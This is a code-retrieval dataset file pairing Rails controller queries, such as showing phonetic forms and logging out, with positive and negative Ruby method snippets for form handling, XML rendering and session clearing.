query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
0edd19f71bf997dd91f3dc5afcb4b3d7
|
GET /phonetic_forms/1 GET /phonetic_forms/1.xml
|
[
{
"docid": "76e12bf9ab1d0433c8e93a32d9a95a3f",
"score": "0.7435114",
"text": "def show\n @phonetic_form = PhoneticForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @phonetic_form }\n end\n end",
"title": ""
}
] |
[
{
"docid": "312798fa69ee7bcd7be50e37da3e8505",
"score": "0.666303",
"text": "def retrieve_forms()\n start.uri('/api/form')\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "13aefead838a0046350eb8dfc3a85237",
"score": "0.6116305",
"text": "def index\n @forms = Form.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end",
"title": ""
},
{
"docid": "d234071fddd8f760835da77ae50c1884",
"score": "0.5986898",
"text": "def new\n @phonetic_form = PhoneticForm.build_from_only_valid(params)\n @dictionaries = Dictionary.where(id: params[:dictionaries])\n @langs = Dictionary.langs_hash_for(@dictionaries)\n\n respond_to do |format|\n format.html do\n if request.xhr?\n @path = params[:path].sub(/(headword.*)\\[\\d*\\]/, \"\\\\1[#{Time.now.to_i}]\")\n render partial: 'form'\n end\n end\n format.xml { render xml: @phonetic_form }\n end\n end",
"title": ""
},
{
"docid": "f17029ffdc5273e61f7623ef4afa3866",
"score": "0.59482944",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sip_phones }\n end\n end",
"title": ""
},
{
"docid": "2a9f9a918784133d85da4fc41bba671e",
"score": "0.59043515",
"text": "def forms\n if @forms.nil?\n @forms = []\n @data.xpath('/verbs/meta/forms/form').each do |form|\n @forms << form.text\n end\n end\n \n @forms\n end",
"title": ""
},
{
"docid": "13913cdd6897ffe2443b4dee3476d3b5",
"score": "0.58919144",
"text": "def show\n @form = Form.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @form.to_xml }\n end\n end",
"title": ""
},
{
"docid": "65b473556c21c145a8780eada919df12",
"score": "0.5878921",
"text": "def show\n @forms_list = FormsList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @forms_list }\n end\n end",
"title": ""
},
{
"docid": "39ec1cd2e5bd999c34682a4453ce4fab",
"score": "0.5806503",
"text": "def index\n @contact_forms = Cmtool::ContactForm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @contact_forms }\n end\n end",
"title": ""
},
{
"docid": "3c8e83a3adf3fe83df5af2a1163a2622",
"score": "0.5790065",
"text": "def show\n @form = Form.find(params[:id]) \n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "0301f636bb2fdd7fec411ad859a2d8c0",
"score": "0.5776782",
"text": "def show\n @form = Form.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "0301f636bb2fdd7fec411ad859a2d8c0",
"score": "0.5776782",
"text": "def show\n @form = Form.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "0301f636bb2fdd7fec411ad859a2d8c0",
"score": "0.5776782",
"text": "def show\n @form = Form.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "35914e9dd42998a14115e5a2e4343c6a",
"score": "0.57694596",
"text": "def get_form\n resp = self.class.get(\"/lines/#{CF.account_name}/#{self.line_title.downcase}/stations/#{self.index}/form.json\")\n self.errors = resp.error.message if resp.code != 200\n return resp\n end",
"title": ""
},
{
"docid": "018656f599b4e810021a0c1db5112875",
"score": "0.5752628",
"text": "def show\n @questionform = Questionform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @questionform }\n end\n end",
"title": ""
},
{
"docid": "98cb265d1dcaf2f158e8b20149bd6b4f",
"score": "0.5744094",
"text": "def new\n @telephone = Telephone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @telephone }\n end\n end",
"title": ""
},
{
"docid": "76b083dce58ba5fbd910396e0a7072c8",
"score": "0.5695533",
"text": "def forms\n get(:forms)['Forms'].map do |details|\n Form.new(details['Url'], :party => self, :details => details)\n end\n end",
"title": ""
},
{
"docid": "79c0f978f2061f84da14f469f04213ac",
"score": "0.5693734",
"text": "def new\n @phone_code = PhoneCode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone_code }\n end\n end",
"title": ""
},
{
"docid": "7ee1e6af4b458dccd67e36fd6e79cc7c",
"score": "0.56874526",
"text": "def index\n @formularios = Formulario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @formularios }\n end\n end",
"title": ""
},
{
"docid": "49411a41fc42fc31e71d031c1cb404f9",
"score": "0.568735",
"text": "def new\n @pharmacist = Pharmacist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pharmacist }\n end\n end",
"title": ""
},
{
"docid": "8cd64aefe4ad41fba1f1d25f2675fd1d",
"score": "0.56852597",
"text": "def new\n @forms_list = FormsList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @forms_list }\n end\n end",
"title": ""
},
{
"docid": "fcd75353536bc24ff86a9835f501cf6b",
"score": "0.5679137",
"text": "def new\n @phone_type = PhoneType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone_type }\n end\n end",
"title": ""
},
{
"docid": "6dab2052235f759739cebc4d5c64a67f",
"score": "0.56526595",
"text": "def new\n @qform = Qform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @qform }\n end\n end",
"title": ""
},
{
"docid": "7db14fb769ac37d2c6434b8af941fb74",
"score": "0.56125075",
"text": "def retrieve_form(form_id)\n start.uri('/api/form')\n .url_segment(form_id)\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "2c973957d6946e8f53b216eb7e8bfc82",
"score": "0.56032",
"text": "def show\n @qform = Qform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @qform }\n end\n end",
"title": ""
},
{
"docid": "72ca02b6a25c0e72c92904cd7ae3cfed",
"score": "0.55991024",
"text": "def show\n @information_form = InformationForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @information_form }\n end\n end",
"title": ""
},
{
"docid": "d47d4cf161fa639e5cffad9ff9c51e9c",
"score": "0.55943346",
"text": "def new\n @form = Form.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "9a242afa2d152bd11deb1837c05beb26",
"score": "0.5573595",
"text": "def create\n @phonetic_form = PhoneticForm.new(params[:phonetic_form].permit(allowed_params))\n\n respond_to do |format|\n if @phonetic_form.save\n flash[:notice] = 'PhoneticForm was successfully created.'\n format.html { redirect_to(@phonetic_form) }\n format.xml { render xml: @phonetic_form, status: :created, location: @phonetic_form }\n else\n format.html { render action: 'new' }\n format.xml { render xml: @phonetic_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ce703aefbd874fb91df7974f02d0383b",
"score": "0.5573512",
"text": "def new\n @formulario = Formulario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @formulario }\n end\n end",
"title": ""
},
{
"docid": "8ba544b9f90f525f7dfe545ebb321496",
"score": "0.55718625",
"text": "def forms\n @browser.link(:text=>\"Forms\", :class=>\"icon-sakai-metaobj\").click\n Forms.new(@browser)\n end",
"title": ""
},
{
"docid": "8ba544b9f90f525f7dfe545ebb321496",
"score": "0.55718625",
"text": "def forms\n @browser.link(:text=>\"Forms\", :class=>\"icon-sakai-metaobj\").click\n Forms.new(@browser)\n end",
"title": ""
},
{
"docid": "6a9d7cedde8cc654404f7928dce71965",
"score": "0.55714005",
"text": "def index\n get_forms_for_index\n @form = Form.new(:user => current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end",
"title": ""
},
{
"docid": "0ab4081525b90d43a7e9a0cec861fbb2",
"score": "0.55708355",
"text": "def index\n @phones = Phone.find_all_by_code_person(params[ :code_person])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @phones }\n end\n end",
"title": ""
},
{
"docid": "8fed01dd106240e8d125e630cd59fbb8",
"score": "0.5560492",
"text": "def show\n @phone = Phone.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @phone }\n end\n end",
"title": ""
},
{
"docid": "aacf28d74948eed94cd8dd3e8c39aca0",
"score": "0.556016",
"text": "def new\n @form = Form.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "aacf28d74948eed94cd8dd3e8c39aca0",
"score": "0.556016",
"text": "def new\n @form = Form.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "bfee6fefc942c4c7bac9c8e60f5b7b7e",
"score": "0.5554799",
"text": "def new\n @lookup_consentform = LookupConsentform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_consentform }\n end\n end",
"title": ""
},
{
"docid": "6558b02203ed9daa924c50c7b6c5bb1c",
"score": "0.5546369",
"text": "def request_for_form(form)\n request(form.url, {\n :method => form.method,\n :params => form.to_hash\n })\n end",
"title": ""
},
{
"docid": "1b4d88a32914ab8bf8552d2b561e2f22",
"score": "0.5540771",
"text": "def new\n @phone_number = SmsOnRails::PhoneNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone_number }\n end\n end",
"title": ""
},
{
"docid": "cbb187a4f90e47999eaf84ca8b1a8ac8",
"score": "0.5539145",
"text": "def show\n @businessform = Businessform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @businessform }\n end\n end",
"title": ""
},
{
"docid": "8aa3a627644374a86e840e7b9e413120",
"score": "0.5536365",
"text": "def show\n @contact_form = Cmtool::ContactForm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @contact_form }\n end\n end",
"title": ""
},
{
"docid": "7723b2560a7e05eb0e9460e1544a512b",
"score": "0.55209696",
"text": "def new\n @sip_account = SipAccount.new\n @sip_account.phone_id = params[:phone_id]\n \n @phones = Phone.order(:mac_address)\n @dtmf_modes = [ 'rfc2833', 'inband', 'info' ]\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sip_account }\n end\n end",
"title": ""
},
{
"docid": "63468cb3dbaedd1e1bfa520da274fc45",
"score": "0.55163157",
"text": "def new\n @proof = Proof.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proof }\n end\n end",
"title": ""
},
{
"docid": "7ec0546c2c5c03584489609436c80133",
"score": "0.55136526",
"text": "def new\n @cell_phone = CellPhone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cell_phone }\n end\n end",
"title": ""
},
{
"docid": "61bf046c90b5fe93f82cec84f88ec5f9",
"score": "0.55003005",
"text": "def retrieve_form_fields()\n start.uri('/api/form/field')\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "6dc5630757a23b8fd11d1635aa22a469",
"score": "0.5499015",
"text": "def new\n\n @frequencia_frequencia = Frequencia::Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @frequencia_frequencia }\n end\n end",
"title": ""
},
{
"docid": "29136e3c6b87b7442b88ab3b2cf2b16e",
"score": "0.5487412",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @contact_phone }\n end\n end",
"title": ""
},
{
"docid": "853395b8f3fe3eabc2b765eaead0b091",
"score": "0.54868454",
"text": "def index\n @phone_numbers = @kontact_information.phone_numbers\n @emails = @kontact_information.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.mobile\n format.xml { render :xml => @plural_fields }\n end\n end",
"title": ""
},
{
"docid": "543c27896d2a9ba5a48eeedd91c58dcb",
"score": "0.54857767",
"text": "def new\n @prontuario = Prontuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prontuario }\n end\n end",
"title": ""
},
{
"docid": "42c69b585448e4eaf3c297811a0e8ae6",
"score": "0.54829687",
"text": "def xml_for(action) rio(url_for(action)).read end",
"title": ""
},
{
"docid": "b997e015a82b7a1318d855628f9e5fe3",
"score": "0.5479643",
"text": "def show\n @lookup_consentform = LookupConsentform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_consentform }\n end\n end",
"title": ""
},
{
"docid": "1fdff9e967ae9ee8a8bd5cb4d4442e01",
"score": "0.54787636",
"text": "def show_forms\n if allForms = document.forms\n count = allForms.length\n puts \"There are #{count} forms\"\n for i in 0..count-1 do\n wrapped = FormWrapper.new(allForms.item(i))\n puts \"Form name: #{wrapped.name}\"\n puts \" id: #{wrapped.id}\"\n puts \" method: #{wrapped.method}\"\n puts \" action: #{wrapped.action}\"\n end\n else\n puts \"No forms\"\n end\n end",
"title": ""
},
{
"docid": "1fdff9e967ae9ee8a8bd5cb4d4442e01",
"score": "0.54787636",
"text": "def show_forms\n if allForms = document.forms\n count = allForms.length\n puts \"There are #{count} forms\"\n for i in 0..count-1 do\n wrapped = FormWrapper.new(allForms.item(i))\n puts \"Form name: #{wrapped.name}\"\n puts \" id: #{wrapped.id}\"\n puts \" method: #{wrapped.method}\"\n puts \" action: #{wrapped.action}\"\n end\n else\n puts \"No forms\"\n end\n end",
"title": ""
},
{
"docid": "f254b81acef8ebcc72d25020ad14d962",
"score": "0.54761267",
"text": "def new\n @businessform = Businessform.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @businessform }\n end\n \t \n end",
"title": ""
},
{
"docid": "23c2428111742a59db4f64ea7526af9c",
"score": "0.5468492",
"text": "def new\n @questionform_scan_procedure = QuestionformScanProcedure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questionform_scan_procedure }\n end\n end",
"title": ""
},
{
"docid": "3f918d16e507fa10ec096bf6893e79ec",
"score": "0.5465789",
"text": "def new\n @poda_grama = PodaGrama.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poda_grama }\n end\n end",
"title": ""
},
{
"docid": "c974a39b3c5f88200243dd22084ea2c4",
"score": "0.54611874",
"text": "def show\n @sip_phone = SipPhone.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sip_phone }\n end\n end",
"title": ""
},
{
"docid": "7a1ad4e1a43ce41d46125d7024fa7402",
"score": "0.5459883",
"text": "def show\n @form_contact = FormContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @form_contact }\n end\n end",
"title": ""
},
{
"docid": "206aaffde729499e3d7adb540292551b",
"score": "0.54520184",
"text": "def index\n @forms = if params[:page_id]\n @page = Page.find(params[:page_id])\n return unless page_administrator!\n @page.forms\n else\n return unless administrator!\n @forms = Form.order('name ASC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end",
"title": ""
},
{
"docid": "d2ea8e23378ef68a27e0394378a736a4",
"score": "0.5451296",
"text": "def new\n @information_form = InformationForm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @information_form }\n end\n end",
"title": ""
},
{
"docid": "3f6fc723a62de4a6959ba582c597b9ac",
"score": "0.54510677",
"text": "def get_form\n page = @agent.get SEARCH_PAGE\n page.form_with :action => 'results.cfm'\n end",
"title": ""
},
{
"docid": "d59d214ef2cb7e922f225e634ffa9f0e",
"score": "0.5450507",
"text": "def new\n @prac = Prac.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prac }\n end\n end",
"title": ""
},
{
"docid": "1c0a8d06ebb9587d20ca1d873d58a2b1",
"score": "0.5450406",
"text": "def show\n @phonebook = Phonebook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @phonebook }\n end\n end",
"title": ""
},
{
"docid": "9977cf3683c9faa4baf3c24fa0df458c",
"score": "0.54476285",
"text": "def new\n @what_qo = WhatQo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @what_qo }\n end\n end",
"title": ""
},
{
"docid": "a6c6c1e42d86b54cc9a3faccec0b2f21",
"score": "0.54357713",
"text": "def index\n @form = get_form_paramid(params[:id])\n if(@form != nil )\n xml_main(@form)\n val_err = validate(@form) \n if (val_err == nil)\n @pass = \"Successfully Generted XML to be uploaded at https://incometaxindiaefiling.gov.in\"\n else\n logger.error \"validate.to_s\"\n end\n end\n end",
"title": ""
},
{
"docid": "9a1db70be48167980feb05f7eb99b8dc",
"score": "0.543195",
"text": "def new\n @mecha = Mecha.new\n\n respond_to do |format|\n format.html #new.html.erb\n format.xml {render :xml => @mecha}\n end\n end",
"title": ""
},
{
"docid": "531a21d6765bab7e5061603c7415d783",
"score": "0.5430844",
"text": "def new\n @piso = Piso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @piso }\n end\n end",
"title": ""
},
{
"docid": "cd581c71627e13e8c2e5333ebcd13272",
"score": "0.54256177",
"text": "def form(id)\n make_json_api_request :get, \"v2/#{account_id}/forms/#{id}\"\n end",
"title": ""
},
{
"docid": "52222ca81ce32902519cc473b51ac423",
"score": "0.5424992",
"text": "def new\n @inquiry_choice = InquiryChoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inquiry_choice }\n end\n end",
"title": ""
},
{
"docid": "343a4a7a95d5f750468c85ac54c3a1fd",
"score": "0.54161966",
"text": "def new\n @platoon = Platoon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @platoon }\n end\n end",
"title": ""
},
{
"docid": "57591f58a34668f1ae8ad73debf053d7",
"score": "0.54090774",
"text": "def new\r\n @ph_basic_information = PhBasicInformation.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @ph_basic_information }\r\n end\r\n end",
"title": ""
},
{
"docid": "64cae8648b720718528ef3a527f0b6fc",
"score": "0.5394832",
"text": "def show\n @telephone = Telephone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @telephone }\n end\n end",
"title": ""
},
{
"docid": "d257095805903657293b17ed1112142c",
"score": "0.53931016",
"text": "def index\n @forms = if params[:page_id]\n @page = Page.find(params[:page_id])\n return unless page_administrator!\n session[:edit_form_cancel_path] = forms_path(:page_id => @page.id)\n @page.forms\n else\n return unless administrator!\n session[:edit_form_cancel_path] = forms_path()\n @forms = Form.order('name ASC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @forms }\n end\n end",
"title": ""
},
{
"docid": "c057d4ececec4c43930d36289d8e283b",
"score": "0.53861547",
"text": "def index\n @request_forms = RequestForm.all\n end",
"title": ""
},
{
"docid": "da37d7005ea80f128baaab110c8a7f48",
"score": "0.5380825",
"text": "def new\n @soon = Soon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @soon }\n end\n end",
"title": ""
},
{
"docid": "c0220c5314af5f437989f4b0e9dc6f8a",
"score": "0.53798366",
"text": "def new\n @programacao = Programacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @programacao }\n end\n end",
"title": ""
},
{
"docid": "b3000d16fe27f2d42cb8c17bfaeb05cf",
"score": "0.5379514",
"text": "def new\n @pizza = Pizza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pizza }\n end\n end",
"title": ""
},
{
"docid": "303a54a8eee58ff223b957e263e5980c",
"score": "0.53783584",
"text": "def new\n @phone_carrier = SmsOnRails::PhoneCarrier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone_carrier }\n end\n end",
"title": ""
},
{
"docid": "9b3d1ac3d9f313b043b6bf834491e9ad",
"score": "0.5369641",
"text": "def new\n @who_country_factor = WhoCountryFactor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @who_country_factor }\n end\n end",
"title": ""
},
{
"docid": "2ea2b54e9f7642e3cab030df3a55be7c",
"score": "0.5361904",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @vip_programmer_phone }\n end\n end",
"title": ""
},
{
"docid": "4b506e29494c6e35e9687f9a55ca9580",
"score": "0.5358058",
"text": "def new\n @portfollio = Portfollio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @portfollio }\n end\n end",
"title": ""
},
{
"docid": "96b10f1b062e7348c04cfc6ac8444bd8",
"score": "0.535784",
"text": "def new\n @monogram = Monogram.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @monogram }\n end\n end",
"title": ""
},
{
"docid": "92bafddd5bdebae10aa0b9c9a4fc0ca2",
"score": "0.5349686",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.html.phone\n end\n end",
"title": ""
},
{
"docid": "0364f06336c76be43bf8d5f0c8168d9e",
"score": "0.5343603",
"text": "def new\n @taxon = Taxon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @taxon }\n end\n end",
"title": ""
},
{
"docid": "4dac9ef487de534315271c2c5db185fc",
"score": "0.53405064",
"text": "def new\n @phenotype = Phenotype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phenotype }\n end\n end",
"title": ""
},
{
"docid": "54e1c64ec2756e3e32c0311247af3777",
"score": "0.5339497",
"text": "def show\n @phone_type = PhoneType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @phone_type }\n end\n end",
"title": ""
},
{
"docid": "9aabd97facd21e9506ef84f3c4febea3",
"score": "0.5339439",
"text": "def forms\n clean_nodes(nodes.xpath(\"//mods/physicalDescription//form\"))\n end",
"title": ""
},
{
"docid": "4c5ddadeffb8658af85b4d31d78c26f0",
"score": "0.53383917",
"text": "def form; end",
"title": ""
},
{
"docid": "50c7d5fcd40e71f6e06ab54449d7df78",
"score": "0.5334816",
"text": "def new\n @surveychoice = Surveychoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @surveychoice }\n end\n end",
"title": ""
},
{
"docid": "075b350d04b3c2396929562f7ad810b0",
"score": "0.53295684",
"text": "def new\n @pelicula = Pelicula.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pelicula }\n end\n end",
"title": ""
},
{
"docid": "a17304108825d0ae45a73e4cfe757c49",
"score": "0.53188837",
"text": "def new\n @phone1 = Phone1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @phone1 }\n end\n end",
"title": ""
},
{
"docid": "b2c30a813579fb3817f3973691cb38ed",
"score": "0.5313896",
"text": "def new\n @plato = Plato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plato }\n end\n end",
"title": ""
},
{
"docid": "bd49d64552567ace45eea54882818aa1",
"score": "0.53126717",
"text": "def meme_gen_form\n #=== Instructions ===================================\n # Create a form to send a info to the meme_gen_process\n # action\n #\n # Ref: http://apimeme.com/\n #================================================\n end",
"title": ""
},
{
"docid": "a4cb571a22feb425b5958d4890dc7453",
"score": "0.5307335",
"text": "def index\n\tif params[:proof] && params[:proof][:job_id]\n\tif params[:proof][:job_id] == \"\"\n\t\t@proofs = Proof.all\n\telse\n\t\t@proofs = Proof.find(:all, :conditions => params_to_conditions(params), :order => \"id\")\n\tend\n\telse\n\t@proofs = Proof.all\n\tend \n# @proofs = Proof.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @proofs }\t \n end\n\n end",
"title": ""
},
{
"docid": "a7604a1e9fd5d24b12707bbd9b8f9aa5",
"score": "0.5306849",
"text": "def new\n @applicant_requirement = ApplicantRequirement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @applicant_requirement }\n end\n end",
"title": ""
},
{
"docid": "87716c9d5683ebccc9ef3fe6fa9cdf4b",
"score": "0.5306073",
"text": "def new\n @pcorp = Pcorp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pcorp }\n end\n end",
"title": ""
},
{
"docid": "a8ecddebd7359faf699774626726f4fd",
"score": "0.5301247",
"text": "def show\n # TODO legacy? \n @form_rec = Form.find(params[:id]).form_versions.last\n @form = Former.new(@form_rec.form_instances.build)\n @form_data = ActiveSupport::JSON.decode(@form_rec.metadata)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @form }\n end\n end",
"title": ""
},
{
"docid": "8bb2292682a7e5cadb343587f0192598",
"score": "0.52987015",
"text": "def new\n @telefono_persona = TelefonoPersona.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @telefono_persona }\n end\n end",
"title": ""
},
{
"docid": "ecadc89a6a5bcaf16ea8b8826366e6f2",
"score": "0.5298007",
"text": "def show\n @phone_code = PhoneCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @phone_code }\n end\n end",
"title": ""
},
{
"docid": "67ca46495a9ea70a108f462470a0a723",
"score": "0.5296933",
"text": "def show\n @appform = Appform.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appform }\n end\n end",
"title": ""
},
{
"docid": "aec9a947cf71c9a948fde5faae506de5",
"score": "0.52933794",
"text": "def new\n @applicant = Applicant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @applicant }\n end\n end",
"title": ""
}
] |
f6654695d326618da1c56db91bb9bb89
|
destroy session on logout
|
[
{
"docid": "7fd7c7e971c73d0a0049718e321bf5c8",
"score": "0.0",
"text": "def destroy\n\t\treset_session\n\t\tredirect_to new_session_path\n\tend",
"title": ""
}
] |
[
{
"docid": "b07db6ff2fde1bb530fa87fd8ce1a43d",
"score": "0.86395377",
"text": "def logout\n close_session\n end",
"title": ""
},
{
"docid": "ad145ec652e20d8212350f39e24cc987",
"score": "0.8515137",
"text": "def logout!\n session.clear\n end",
"title": ""
},
{
"docid": "ad145ec652e20d8212350f39e24cc987",
"score": "0.8515137",
"text": "def logout!\n session.clear\n end",
"title": ""
},
{
"docid": "4dd9612405f7c91d2f627ac56e00eee5",
"score": "0.8486437",
"text": "def logout!\n session.clear\n end",
"title": ""
},
{
"docid": "7e24fc2bea0c187dd8d1312f9805a912",
"score": "0.8430284",
"text": "def logout\n session[:user] = nil\n end",
"title": ""
},
{
"docid": "8edaa61845c5d72e6f5b3d2c2289320c",
"score": "0.83900243",
"text": "def logout\n @session[:user] = nil\n end",
"title": ""
},
{
"docid": "10e0cbc2329ef724c5668d0815e55103",
"score": "0.83636254",
"text": "def log_out \n session.clear\n @current_user = nil\n end",
"title": ""
},
{
"docid": "ffa1bd0bfc731c8c93b5dbc8aab55ed4",
"score": "0.83510333",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "a14cc32279efe0e1c3c0f4f33788b5ba",
"score": "0.83507246",
"text": "def destroy\n\t\t# reset_session will kill the existing session\n\t\treset_session\n\t\tredirect_to '/login'\n\tend",
"title": ""
},
{
"docid": "3bb7aa029ff19540c0867deac58f84ba",
"score": "0.83374524",
"text": "def logout\n session.delete(:user_id)\n end",
"title": ""
},
{
"docid": "a26de6c3e3a3d4b4556969a19edcf7ed",
"score": "0.8320089",
"text": "def logout\n session.delete :user_id\n end",
"title": ""
},
{
"docid": "87a495a0963e19ae31e97ff2b7e112ec",
"score": "0.8314745",
"text": "def logout\n FlexmlsApi.logger.info(\"Logging out.\")\n delete(\"/session/#{@session.auth_token}\") unless @session.nil?\n @session = nil\n end",
"title": ""
},
{
"docid": "201a41eaf1080f04213a716c21820710",
"score": "0.8290737",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\nend",
"title": ""
},
{
"docid": "6c0783a9177afc2315dd17cf355fe229",
"score": "0.82736593",
"text": "def logout\n session[:user_id] = nil\n end",
"title": ""
},
{
"docid": "6c0783a9177afc2315dd17cf355fe229",
"score": "0.82736593",
"text": "def logout\n session[:user_id] = nil\n end",
"title": ""
},
{
"docid": "5d1a4b42bdb35e3a229ccae4ab04f09c",
"score": "0.82631236",
"text": "def logout\n session.delete(:user_id)\n @current_user = nil\n end",
"title": ""
},
{
"docid": "078023f63a00482ae9d6fe725e11e5bc",
"score": "0.8262906",
"text": "def destroy_session\n response_handler(rest_delete('/rest/login-sessions'))\n self\n end",
"title": ""
},
{
"docid": "183cdaeecab05917205f32643650ce15",
"score": "0.82277274",
"text": "def signout\n session.clear\n end",
"title": ""
},
{
"docid": "8d3ee013f0b7856101ab0acdee6a0f44",
"score": "0.82267857",
"text": "def destroy\n @session.clear\n end",
"title": ""
},
{
"docid": "405ce729fe5de18251666769aff94d7a",
"score": "0.8222766",
"text": "def log_out\n session.delete(:user_id)\n @current_user = nil\n\n end",
"title": ""
},
{
"docid": "efa008ac5cc1e5a6b512e7b9739e2c7d",
"score": "0.8214579",
"text": "def log_out\n session[:user_id] = nil\n end",
"title": ""
},
{
"docid": "18487bd8b9c6f682a793f6902543b703",
"score": "0.82111967",
